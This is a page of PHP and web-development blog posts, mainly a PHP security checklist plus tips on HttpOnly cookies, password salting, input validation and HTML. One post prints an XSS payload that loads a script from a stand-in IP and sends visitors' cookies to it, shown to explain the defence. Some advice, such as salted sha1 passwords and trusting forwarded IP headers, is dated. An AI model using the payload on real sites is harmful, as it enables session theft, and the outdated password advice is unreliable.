Categories
Information Security PHP Tips & Tutorials

PHP Security Guide & Checklist for Websites and Web Applications – Bottom Line for Every Good PHP Developer

web security statistics It’s not easy to become a great PHP developer which may very well take years of training and practice, but this doesn’t mean you shouldn’t do your best to not be a bad one that undermines every project he’s involved in. Based on the project experiences of my team and some recent researches done on PHP security issues, I have come up with a list of things you should know and do in your PHP code to achieve this goal. A few of them may be subjective and opinionated but most of them are actually security bottom lines that every self-deemed good PHP developer must definitely adhere to.

Below is a statistic breakdown of web security vulnerabilities in the first half of 2009, to give you a rough idea of what are the major security problems websites and web applications suffer:

web security vulnerabilities by type 2009

You can download the full version in PDF prepared by Cenzic. It has some very interesting web attacks data.

There are a lot more to consider other than PHP to secure your application. This is just a starting point if you are not also a system administrator who is equally responsible in maintaining a secure server (OS, web server, etc.). Oh and there’s browser security (such as phishing) that you essentially have no control over. So we will just stick to PHP here.

php.ini

Some of the default settings in php.ini in earlier PHP versions are pretty dangerous. Modify the original php.ini if you are a server administrator or create custom php.ini in the webroot (directory of the web documents, accessible to the public via web server) to override the unsafe settings or use in-code functions such as ini_set():

  1. Disable register_globals and don’t rely on it in your code:
    register_globals = Off
  2. Disable magic quotes and don’t rely on it in your code:
    magic_quotes_gpc = Off
  3. Disable error reporting:
    display_errors = Off

    This is for production deployment, otherwise achievable runtime by error_reporting(0). For development and debugging, make sure you turn on the full error reporting in your code by error_reporting(E_ALL) so that you get a full grip of what’s going on with your application.

  4. Enable error logging and save the log file to a directory below webroot:
    log_errors = On
    ignore_repeated_errors = On
    html_errors = Off
    error_log = /path/below/webroot/logs/php_error_log

    Normally the errors will be displayed to the users / crackers when something goes wrong thus disclosing internal information about your application. Now that we have disallowed them to display publicly, enabling error logging helps capture all PHP errors and store them somewhere the users / crackers cannot access yet we can retrieve and analyze when necessary.

  5. Store session data below webroot:
    session.save_path = /path/below/webroot/sessions

In most cases, you don’t have to worry about more than just the error logging part because the most up-to-date version of PHP has been well optimized in security by default. For example, register_globals and magic_quotes_gpc are turned off as factory settings, and session data is automatically stored outside of webroot. Other than these, feel free to override things by the ini_set() function when you feel obligated to.

Note that magic_quotes_gpc cannot be set by ini_set() any more after PHP version 4.2.3, you have to do it in a local php.ini or .htaccess.

.htaccess

Disable directory listing site wide by adding this line to the .htaccess file (hidden) placed in the document root of your domain:

Options -Indexes

And allow it in the specific directory where it is absolutely necessary and no files that are meant to be shown publicly are stored:

Options +Indexes

Valuable files and sensitive data

This includes member only materials, administrator stuff and site wide configuration files containing the vital data of your site, or whatever you feel uncomfortable exposed to the public. In fact, if you are having doubts whether some file is all right to be exposed, don’t expose it at all.

  1. Store them below (outside) webroot so they cannot be retrieved by anyone via web server requests.
  2. Hide the file path and use a PHP script to provide download of it.

Uploaded files

Compulsory security practices when handling uploaded files:

  1. Validate the file name in $_FILES against potential data manipulation. For instance, discard anything that’s not alphanumeric or dot in the file name string.
  2. Validate the mime type against potential spoof and discard anything that seems not what you expect.
  3. After validation, change the file name and move it somewhere confidential below webroot. You can also optionally tar it for storing.
  4. Never execute / serve uploaded files with include() nor require().
  5. Never serve files with mime types of “application/octet-stream”, “application/unknown” nor “plain/text”.

Incoming requests

Cross Site Request Forgery (CSRF) Attacks: Just as the name suggests, the request is forged / fabricated from the authenticated user’s computer yet without his awareness and acknowledgement. For example, the malicious attacker creates a sneaky link (Clickjacking) or a form and manages to trick the legally logged user to use it to submit a hidden request to your application to perform something that he doesn’t authorize at all such as deletion. To prevent it:

  1. Create a confirmation page for the legitimate user to make a final call by clicking ‘Yes’ or ‘No’. The request is then submitted to the server by POST method. Don’t just delete something (or perform other important operations) upon a simple GET request.
  2. Generate a unique token (whatever name = value) in the user’s session and include it in every form as a hidden field so whenever the user submits a POST request, you can check if the form contains the correct token against that in the session variable to make sure if it is submitted by the user by true intentions.

Incoming / User provided data

Always filter or sanitize incoming data in $_GET, $_POST, $_COOKIE or $_REQUEST before using them in your code. Validate that a value is just what you expect and discard any characters suspicious / unneeded. Better yet, white list a few value prototypes by regular expressions and ignore anything that doesn’t match the criteria.

Path Traversal Attacks: By browsing through and trying different combinations of path input to your application, the cracker aims to access files and directories outside of the webroot, probably with a chain of ‘../’ in the path input. To prevent the attack:

  1. Never use user input data directly in your code before it is sanitized or tested against the white list, especially when it is used to determine the subject of file open, include / require, file create and file delete operations.
  2. Let users select indexes rather than the literal path string / file name. For example, open file “/home/test/whatever.txt” when “7” is selected by the user.
  3. In fact, don’t give users the chance to make the call of which file / path to be used / included at all.
  4. Don’t disclose your directory structure to the users in any way, for example, as a hidden field in the form.

SQL Injection Attacks: Exploits of secure vulnerabilities that occur in the database layer of an application wherein user input is not filtered for reserved characters that may cause the database to falsely interpret and execute the SQL query. To prevent this attack:

  1. Escape a string value before using it as part of a SQL query:
    $mysqli -> real_escape_string($str)

    You can also use PDO to prepare the SQL queries, which will automatically sanitize any literal values by escaping it before using them in the query.

Cross-Site Scripting (XSS) Attacks: Or JavaScript injection, security vulnerabilities that allow malicious users to inject HTML code into your web pages that other users can view and execute. It can mess up the page, more fatally, it can load an arbitrary JavaScript script (hosted on another domain) in the user’s browser and steal their cookies thus identity. To prevent this attack:

  1. Cookie should be set with the HttpOnly option enabled (true).
  2. Escape anything and everything that goes live on a web page to be seen by your users:
    htmlentities($str)

Passwords

  1. Optionally enforce strong passwords to your users by only accepting passwords of certain lengths and complexity.
  2. Never store plain text passwords in your database. Instead, salt and hash the passwords. Bottom line is sha1(). Better yet, use hash() with various more advanced algorithms. Never use md5().
  3. Optionally use pass phrases instead of passwords.

Sessions

  1. Regenerate the session ID every time a user’s privileges are upgraded, for example, from visitor to registered member by logging in or from registered member to administrator by further logging in the administrator control panel:
    session_regenerate_id();
  2. Completely destroy session variables (not just empty them) by:
    session_destroy();
  3. Store IP address of initial authentication in session variables and compare request source IP every time you receive a request from the user. However, IP address can unexpectedly change during a legal session and can be a public proxy in the first place.

Cookies

  1. When you need to wipe out some cookie variable, delete it from both the user’s browser AND your server:
    setcookie('SomeCookie', '', time() - 3600); // deletes it from client side
    unset($_COOKIE['SomeCookie']); // deletes it from server side

Other things to consider

  1. All helper / utility scripts in your application that helps develop and debug should be removed from the production deployment. Only necessary files are to remain.
  2. Never talk about your application structure or any other vital information regarding it as real examples in public places such as developer / server administrator discussion boards.
  3. Maintain your own private PHP framework to employ these security practices in a general level. So you will not need to worry about the security particulars of all the projects that derive from this framework. Or use one of the popular PHP frameworks who have gone a long way in security and have been broadly tested by thousands of projects and billions of end users.
  4. It’s not enough to just check and fix your code against these attacks. You have to assimilate these attack prevention tips into your daily coding arsenal and make them as natural as they must be done wherever they are needed. They have to become part of your blood and just feel right to you. Bobince makes a good point on this by asking for a PHP tutorial that preaches the right thing from the very beginning. For example, when you echo something with PHP to the output, even if you are an absolute beginner, it doesn’t absolve you from escaping them first:
    $str = 'Hi, I\'m on a web page.';
    echo htmlentities($str);

Please don’t hesitate to tip in by commenting below to make this security checklist as complete and useful as possible. To start a serious learning session of developing secure web applications, these books will provide a kickass ride for you.

Categories
Information Security LAMP Developer Books

Web Application Security Books (PHP, MySQL, Apache), the Best at Amazon

HTTP: The Definitive Guide Security may not make you but it sure can break you. As modern web applications become more and more complexed puzzles and filled with thousands of features catering to a spectrum of user preferences and tastes, the developers are burdened with ever-going responsibilities to keep them sound and safe. There are people (crackers) out there who are trying to make a name by breaking into your backyard or otherwise messing around in any way possible to make your day interesting. Your application or website is potentially vulnerable by simply being online. Everyone including innocent users can mess things up if yours is designed without security awareness. These books of web security are hand selected from Amazon that will get you a strong start on building secure websites applications and avoid being hacked. They are both new (published no more than 5 years ago) and well received (rated no less than 4/5 by the readers).

General Website / Web App Security

Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast

 Web Security Testing Cookbook Systematic Techniques to Find Problems Fast

The Web Application Hacker’s Handbook: Discovering and Exploiting Security Flaws

The Web Application Hacker's Handbook Discovering and Exploiting Security Flaws

How to Break Web Software: Functional and Security Testing of Web Applications and Web Services

How to Break Web Software Functional and Security Testing of Web Applications and Web Services

Foundations of Security: What Every Programmer Needs to Know (Expert’s Voice)

Foundations of Security What Every Programmer Needs to Know (Expert's Voice)

PHP Security

Essential PHP Security

Essential PHP Security

Pro PHP Security

Pro PHP Security

Apache Security

Apache Security

Apache Security

Database / MySQL Security

The Database Hacker’s Handbook: Defending Database Servers

The Database Hacker's Handbook Defending Database Servers

MySQL Administrator’s Bible (Bible (Wiley))

MySQL Administrator's Bible (Bible (Wiley))

Other Security Related Books

Ajax Security

Ajax Security

Web Application Architecture: Principles, Protocols and Practices

Web Application Architecture Principles, Protocols and Practices

HTTP: The Definitive Guide

HTTP The Definitive Guide

To learn more about these specific areas and build better web applications, Amazon has the best PHP books, best MySQL books and best Apache Books.

Categories
CSS & HTML Tips

Use Relative Protocol URL Address to Automatically Determine Web Address Protocol (HTTP or HTTPS)

http or httpsHere’s a really interesting bit about how you can omit the protocol part of a web address in your web pages. The predominant belief is that an HTTP:// or an HTTPS:// has got to be prefixed to a URL or it won’t work, truth is, it will. Try the following link:

Click Me!

View the source of this entry and you’ll see the link code:

<p><a href="//www.kavoir.com/"></a>Click Me!</p>

There is no HTTP nor HTTPS protocol at the beginning of the URL. Yet, it’s working properly. Browsers will automatically use the same protocol as that of the current URL. It’s also working for other URL sources in HTML such as images or JavaScript scripts. Wherever you need to specify a URL.

This is very useful when your site is using SSL thus all the URLs start with HTTPS://. Because this approach lets the browser to automatically use the current protocol, you will not be blamed for using HTTP:// URLs on an HTTPS page and causing the notorious unsafe content warning to the users. It will also be a breeze to switch between the HTTP version and HTTPS version of your site. It’s totally automatic.

However, I don’t know what this would do in terms of SEO and how Google sees any URLs without the protocol part. Learn more about what the hell HTTP is.

Categories
CSS & HTML Tips

HTML: Make Content Editable in Element / Tags without JavaScript

It’s not well known but this feature was invented by Microsoft and has been implemented across all major modern browsers ever since IE 5.5. Adding an attribute of contenteditable and assign a value of “true” to it makes the content value / inner text of that element editable by a single click:

<blockquote contenteditable="true">Click to edit me!</blockquote>

Try it live:

Click to edit me!

When you are done editing, just hit Enter (if it’s an inline element) or blur the cursor focus from the editing region (if it’s a block element). Theoretically, this attribute can be added to any HTML tags to make them immediately editable without the help of any JavaScript at all. You can add it to a div, a span or a td.

Now what can we do with this new trick?

Categories
Information Security PHP Tips & Tutorials

PHP: setcookie() with HttpOnly Option to Reduce XSS (Cross Site Scripting) Attacks by Preventing JavaScript from Reading Cookies

It may considerably reduce XSS attack possibilities if not completely eradicate it. XSS, or Cross Site Scripting, is probably the most common security problems in web applications that engage in heavy user input. If you’ve ever tried to build a web application that users can input data in a lot of different venues, chances are it has a security hole somewhere that allows XSS attacks. Don’t panic though. Most web applications, even the most sophisticated ones developed by the best programmers such as vBulletin and WordPress release patches from time to time to fix XSS holes.

While it appears that XSS does no more than messing up the web pages in client’s browsers, it can be much much worse. XSS attacks make it possible for crackers to completely steal your identity (e.g. administrator account) on the website by planting a JavaScript file hosted somewhere else into your application pages. For instance, consider a malicious user who manages to put the following HTML code into the biography section of his user profile page on your application:

<script type=text/javascript src=http://1.2.3.4:8081/xss.js></script>

When you visit that page, without any knowledge of it at all, your browser automatically downloads and runs the script xss.js which contains a simple snippet:

window.location="http://1.2.3.4:8081/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;

Via an HTTP GET request to the cracker’s server, the JS file successfully fetches and sends your cookie to the cracker. And the cookie is what your application solely relies on to recognize you as the administrator. Your identity is thus completely stolen by the cracker and he can now log into your application as the administrator. Horror story.

The first defense against XSS is to trust none of the user provided data and encode all incoming data into HTML entities before outputting them on the web pages. But that’s not enough. Unless you absolutely need JavaScript to be able to access cookies for your application, you are highly recommended to set the cookie to be accessible only via HTTP requests (from your own application server instead of user’s local browser). To do that, set the HttpOnly option of the PHP setcookie() function to be true:

setcookie("loggedin", 1, time() + 86400, "/admin/", "example.com", false, true); // the last (7th) parameter value true does the job

The last option value "true" effectively turns on the HttpOnly option and the cookie "loggedin" will ONLY be accessible to HTTP requests from the domain server and no JavaScript can read it any more. The HttpOnly parameter of the setcookie() function is only available in PHP 5.2.0 or later.

Categories
Information Security Programming Tips & Insights

Just Hashing is Far from Enough for Storing Passwords – How to Position against Dictionary and Rainbow Table Attacks

login passwordIt goes without saying that sensitive information such as passwords or pass phrases should never be stored in plain text in the database in the first place. The common practice is to hash the user password and store the resulted hash string. When the user tries to log in and supplies his password, it is used to generate a hash string to be compared to the one stored in database. If they are identical, the password is matched and the user authenticated because the chance of 2 distinct strings having the same hash string is so low that it’s deemed mathematically impossible.

This approach may be secure in the 70s of the last century, but barely any more. Thanks to unprecedentedly cheap computing power now, rainbow tables, the mapping function from hash strings to any possible combinations of keyboard characters (alphanumeric, punctuations, etc.) have rendered this password storage / validation method insecure. With a mapping table of trillions of hash to cleartext pairs, it takes only 160 seconds to crack the password “Fgpyyih804423” which most of us would generally agree is fairly safe.

What can we do?

Provide a random salt when you are hashing the secret text. For instance with the PHP’s SHA1 hashing function:

$my_hash = sha1('whatever salt you put here would do,,,???'.$secret);

As you can see, the salt string can be whatever you like, in a random manner, prefixed and / or suffixed to the secret text before it is hashed into a hash string which will be stored. This way, because the cracker has no idea what the salt is, there’s no way he can create the right rainbow table to perform the crack. Even if he does, he would have to specifically build a rainbow table to crack your database which can be time-consuming. Subsequently, to make this even more difficult for the cracker, you can use different salts for each of the password entries in the database:

$salt = generate_random_salt(); // your in-house function that generates a random salt, perhaps by uniqid('some random string', true)
$my_hash = sha1($salt.$secret); // the $salt must then be stored in your database on a per entry base
// this function is the same as hash('sha1', $salt.$secret), but a better algorithm would be hash('whirlpool', $salt.$secret)

When the salt string is a per application constant, you can store it rather obscurely somewhere in your application code. However when you use random salt strings, you will have to store it correspondingly with the hash string $my_hash in the database, or otherwise you won’t be able to generate the correct hash string of the password user provides for authentication against the one stored in database.

It doesn’t even matter if the cracker gets the database and knows all the random salts, because he’d have to create and run through a huge rainbow table specific to each of the random salts to crack just one password. It’s so squarely and prohibitively time-consuming that he’d definitely give up.

A better yet approach to defend against rainbow or dictionary attacks is to be creative in generating the hash string – such as taking the username string into the generation and implementing multiple layers of hashing, in a playfully diversifying manner.

At last, it is recommended that you generate the initial hash string (the one to be stored in database) by running 1000 iterations of hashing instead of just 1. The extra computing burden on your server is negligible while it will increase the time needed to crack a single password by 1000 times at the cracker’s end. The point is to make the hashing process as slow as possible rather than the other way around. As the cracking usually makes password guesses and trial logins at a much higher paced speed, the slowness will have a much more detrimental effect on the cracker than on your website.

Categories
HTTP Tips & Tutorials PHP Tips & Tutorials

PHP: How to distinguish values in $_POST or $_GET that are sent via HTTP requests and those that are set / assigned in the code

html form codeTo send parameters to a PHP script, you can either fabricate a form and post a few variables by the POST method or simply send a request of a URL full of GET value pairs. This way, in the server side PHP script code, you can retrieve these parameters sent from the client in $_POST or $_GET. The trick is, other than receiving the values from client requests, you can manually assign values to them in your code. For example,

<?php
$_POST['test'] = 100;
?>

Wherein $_POST['test'] can be used in any way possible as you can with one that is received from a HTTP request. But how can we know the posted ones from the assigned ones? The PHP function filter_has_var() is the answer. To check if a posted variable is really posted from a client request:

if (filter_has_var(INPUT_POST, 'test')) {
	// $_POST['test'] is posted from the client
} else {
	// $_POST['test'] is assigned locally
}

The same rule applies to $_GET. To make sure if a $_GET value is received by URL request:

if (filter_has_var(INPUT_GET, 'test')) {
	// $_GET['test'] is posted from the client by query strings in the URL
} else {
	// $_GET['test'] is assigned locally
}
Categories
Information Security PHP Tips & Tutorials Regular Expression Tips & Tutorials

PHP: Check or Validate URL and Email Addresses – an Easier Way than Regular Expressions, the filter_var() Function

To check if a URL or an email address is valid, the common solution is regular expressions. For instance, to validate an email address in PHP, I would use:

if (preg_match('|^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$|i', $email)) {
	// $email is valid
}

A simpler and more forgiving one would be:

|^\S+@\S+\.\S+$|

Which is usually quite enough for signup forms in preventing stupid typo errors. You get to validate the email by a validation link sent to the address anyway, as a final call whether the address is valid or not. For those who are obsessively curious, this may serve you well.

For URL, you can use this one:

|^\S+://\S+\.\S+.+$|

Or you can use one that is insanely detailed in addressing what a valid URL should be.

The filter_var() function of PHP5

What we are talking about here really is the filter_var() function of PHP5 that simplifies the URL and email validation by a large degree. To validate an email:

if (filter_var($email, FILTER_VALIDATE_EMAIL) !== false) {
	// $email contains a valid email
}

To validate a URL:

if (filter_var($url, FILTER_VALIDATE_URL) !== false) {
	// $url contains a valid URL
}

While filter_var() is meant to return the filtered results of the input according to the filter type specified, such as FILTER_VALIDATE_EMAIL or FILTER_VALIDATE_URL, you can generally use it to see if a valid email or a valid URL can be extracted from something. Better yet, filter and get the results first, use the result if it is good or abandon it when it is false:

$filtered_email = filter_var($email, FILTER_VALIDATE_EMAIL);
if ($filtered_email !== false) {
	// $filtered_email is the valid email got out of $email
} else {
	// nothing valid can be found in $email
}

Same applies to FILTER_VALIDATE_URL. Here’s a full list of filter types of filter_var() you can take advantage of.

Categories
HTTP Tips & Tutorials PHP Tips & Tutorials

PHP: How to detect / get the real client IP address of website visitors?

It may seem simple at first because most of us should be relying on the server side environmental variable REMOTE_ADDR solely for client IP addresses:

echo $_SERVER['REMOTE_ADDR'];

Yet it’s barely enough to get the real IP for a variety of circumstances such as when the user is visiting your website from a proxy server. To everyone’s surprise, there are a lot more environmental variables regarding client IP address than just the most straightforward one, REMOTE_ADDR. Consider this snippet in the attempt to detect the real source IP address of the request:

function get_ip_address() {
    foreach (array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
        if (array_key_exists($key, $_SERVER) === true) {
            foreach (explode(',', $_SERVER[$key]) as $ip) {
                if (filter_var($ip, FILTER_VALIDATE_IP) !== false) {
                    return $ip;
                }
            }
        }
    }
}

It first searches through a series of possible environmental variables that may contain the client IP address and uses whichever that is set and then extract the potential IP value to be validated. After successful validation by the PHP5 filter_var() function, the value is returned. You better not change the order these variable names are placed in the literal array.

This approach is much more sophisticated than just looking at REMOTE_ADDR but it’s far from mess-proof because it relies on the HTTP header information which can be easily manipulated anywhere along the way the request is routed to your server / website.

Categories
JavaScript Tips & Tutorials jQuery Tips & FAQ

How to define multiple CSS rules / properties in jQuery?

The simplest way to define a CSS rule in jQuery might be:

$(".sth").css("color", "#f00");

To define more than one CSS rule in a single jQuery line:

$(".sth").css("color", "#f00").css("font-style", "italic").css("text-decoration", "underline");

Which simply doesn’t look that good, especially if you intend to add more. A better way to specify multiple CSS rules or properties with jQuery is by a JSON object:

$(".sth").css( {'color' : '#f00', 'font-style' : 'italic', 'text-decoration' : 'underline'} );

However, it is recommended that you use .addClass() instead of .css() to separate the JavaScript logics and CSS styles for maintainability.